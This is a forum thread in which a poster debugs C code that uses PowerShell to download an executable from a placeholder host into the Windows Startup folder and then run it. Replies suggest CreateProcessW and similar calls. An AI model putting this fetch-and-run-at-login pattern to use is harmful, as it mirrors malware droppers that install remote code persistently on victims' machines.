Hello,
I manage to write a file into the startup folder with system(), but when I'm trying to execute that file I get an error, whats the difference and how can I make it work?

Here are the 2 lines of code, the first one works while the second gives an error:

Code

system("powershell.exe -command Invoke-WebRequest https://example.com/myEXE.exe -OutFile '%APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\myEXE.exe'"); //Works
system("'%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\myEXE.exe'""); //Doesn't work

Tried doing this as well:

Code

system("\"%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\myEXE.exe\"");

Thanks in advance!

Escape your backslashes.
And don't use system()

Further explanation please..

You could use ShellExecute function for this

Is the CreateProcess() function good as well?

Yes, but check the remarks section for things to avoid.

system("%APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\myEXE.exe");

ShellExecute have more args if you need just to run your file
WinExec https://docs.microsoft.com/en-us/windows...se-winexec

When I write it like that it says 'C:\Users\User\AppData\Roaming\Microsoft\Windows\Start' is not recognized as an internal or external command,
operable program or batch file.'

I wrote the code with double slashes, that's the cmd output...

Use CreateProcessW() (also offers lot more versatility)

system() is bad practice and no point to use it if you are writing on windows

Yep ended up creating it with CreateProcessW(), thanks!
